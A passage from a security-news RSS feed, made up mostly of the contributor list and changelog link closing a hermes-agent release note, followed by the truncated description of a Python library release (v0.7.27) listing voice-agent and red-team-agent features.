<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dgians/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dgians">@dgians</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dillweed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dillweed">@dillweed</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoGMaTiiC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoGMaTiiC">@DoGMaTiiC</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draplater/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draplater">@draplater</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dskwe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dskwe">@dskwe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsr-restyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsr-restyn">@dsr-restyn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/duyua9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/duyua9">@duyua9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/el-analista/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/el-analista">@el-analista</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eloklam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eloklam">@eloklam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EloquentBrush0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EloquentBrush0x">@EloquentBrush0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emonty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emonty">@emonty</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erhnysr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erhnysr">@erhnysr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erikengervall/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erikengervall">@erikengervall</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ether-btc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ether-btc">@ether-btc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EvilHumphrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EvilHumphrey">@EvilHumphrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabiosiqueira/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabiosiqueira">@fabiosiqueira</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falasi">@falasi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falconexe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falconexe">@falconexe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fardoche6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fardoche6">@fardoche6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/felix-windsor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/felix-windsor">@felix-windsor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fewmanism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fewmanism">@Fewmanism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffr31mr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffr31mr">@ffr31mr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flamiinngo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flamiinngo">@flamiinngo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flanny7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flanny7">@flanny7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fonhal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fonhal">@fonhal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/francip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/francip">@francip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujinice/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujinice">@fujinice</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gianfrancopiana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gianfrancopiana">@gianfrancopiana</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glennc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glennc">@glennc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Glucksberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Glucksberg">@Glucksberg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/godlin-gh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/godlin-gh">@godlin-gh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Grogger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Grogger">@Grogger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guillaumemeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guillaumemeyer">@guillaumemeyer</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hanzckernel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hanzckernel">@hanzckernel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hawknewton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hawknewton">@hawknewton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hayka-pacha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hayka-pacha">@hayka-pacha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hehehe0803/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hehehe0803">@hehehe0803</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenkDz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenkDz">@HenkDz</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hermesagent26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hermesagent26">@hermesagent26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hinotoi-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hinotoi-agent">@Hinotoi-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongchen1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongchen1993">@hongchen1993</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/honor2030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/honor2030">@honor2030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/houenyang-momo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/houenyang-momo">@houenyang-momo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ht1072/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ht1072">@ht1072</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hueilau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hueilau">@hueilau</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamfoz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamfoz">@iamfoz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ilonagaja509-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ilonagaja509-glitch">@ilonagaja509-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/InB4DevOps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/InB4DevOps">@InB4DevOps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/indigokarasu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/indigokarasu">@indigokarasu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iqdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iqdoctor">@iqdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JabberELF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JabberELF">@JabberELF</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jacevys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jacevys">@jacevys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackey8616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackey8616">@jackey8616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackjin1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackjin1997">@jackjin1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jdelmerico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jdelmerico">@jdelmerico</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jfuenmayor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jfuenmayor">@jfuenmayor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jiahui-Gu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jiahui-Gu">@Jiahui-Gu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joe102084/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joe102084">@joe102084</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnC1009/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnC1009">@JohnC1009</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpol01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpol01">@jonpol01</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jpalmer95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jpalmer95">@Jpalmer95</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Julientalbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Julientalbot">@Julientalbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justemu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justemu">@justemu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justincc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justincc">@justincc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jvinals/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jvinals">@jvinals</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/karthikeyann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/karthikeyann">@karthikeyann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kasunvinod/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kasunvinod">@kasunvinod</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kchuang1015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kchuang1015">@kchuang1015</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kenyonxu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kenyonxu">@kenyonxu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/khungate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/khungate">@khungate</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kiranvk-2011/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kiranvk-2011">@kiranvk-2011</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kjames2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kjames2001">@kjames2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kpadilha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kpadilha">@kpadilha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kriscolab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kriscolab">@kriscolab</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krislidimo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krislidimo">@krislidimo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kronexoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kronexoi">@kronexoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunci115/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunci115">@kunci115</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kylejeong2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kylejeong2">@Kylejeong2</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kylekahraman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kylekahraman">@kylekahraman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leeseoki0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leeseoki0">@leeseoki0</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lemassykoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lemassykoi">@lemassykoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lempkey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lempkey">@Lempkey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonJS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonJS">@LeonJS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lidge-jun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lidge-jun">@lidge-jun</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LifeJiggy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LifeJiggy">@LifeJiggy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LizerAIDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LizerAIDev">@LizerAIDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loicnico96/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loicnico96">@loicnico96</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>,<br>
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a>, @Nami4D,<br>
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>, @nnnet, @noctilust, @novax635,<br>
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,<br>
@r266-tech, @rak135, @rdasilva1016-ui, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,<br>
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,<br>
@Saurav0989, @savanne-kham, @Schrotti77, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,<br>
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,<br>
@Soju06, @someaka, @soynchux, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,<br>
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>, @superearn-fisher, @Sylw3ster, @tchanee,<br>
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a>, @Timur00Kh,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a>, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,<br>
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,<br>
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a>, @YanzhongSu, @YarrowQiao, @ygd58,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, @ziliangpeng, @zwolniony, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.16...v2026.5.28">v2026.5.16...v2026.5.28</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.27]]></title>
<description><![CDATA[0.7.27 (2026-05-21)
Features

#350: voice agents — first-class voice in scenario.run() (#355) (128ac94)
#452: voice docs surface — legacy deprecation + new section scaffold (#456) (1b07abb)
add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
ci/#364: add pr-auto-a...]]></description>
<link>https://tsecurity.de/de/3536640/it-security-tools/python-v0727/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536640/it-security-tools/python-v0727/</guid>
<pubDate>Thu, 21 May 2026 16:03:44 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
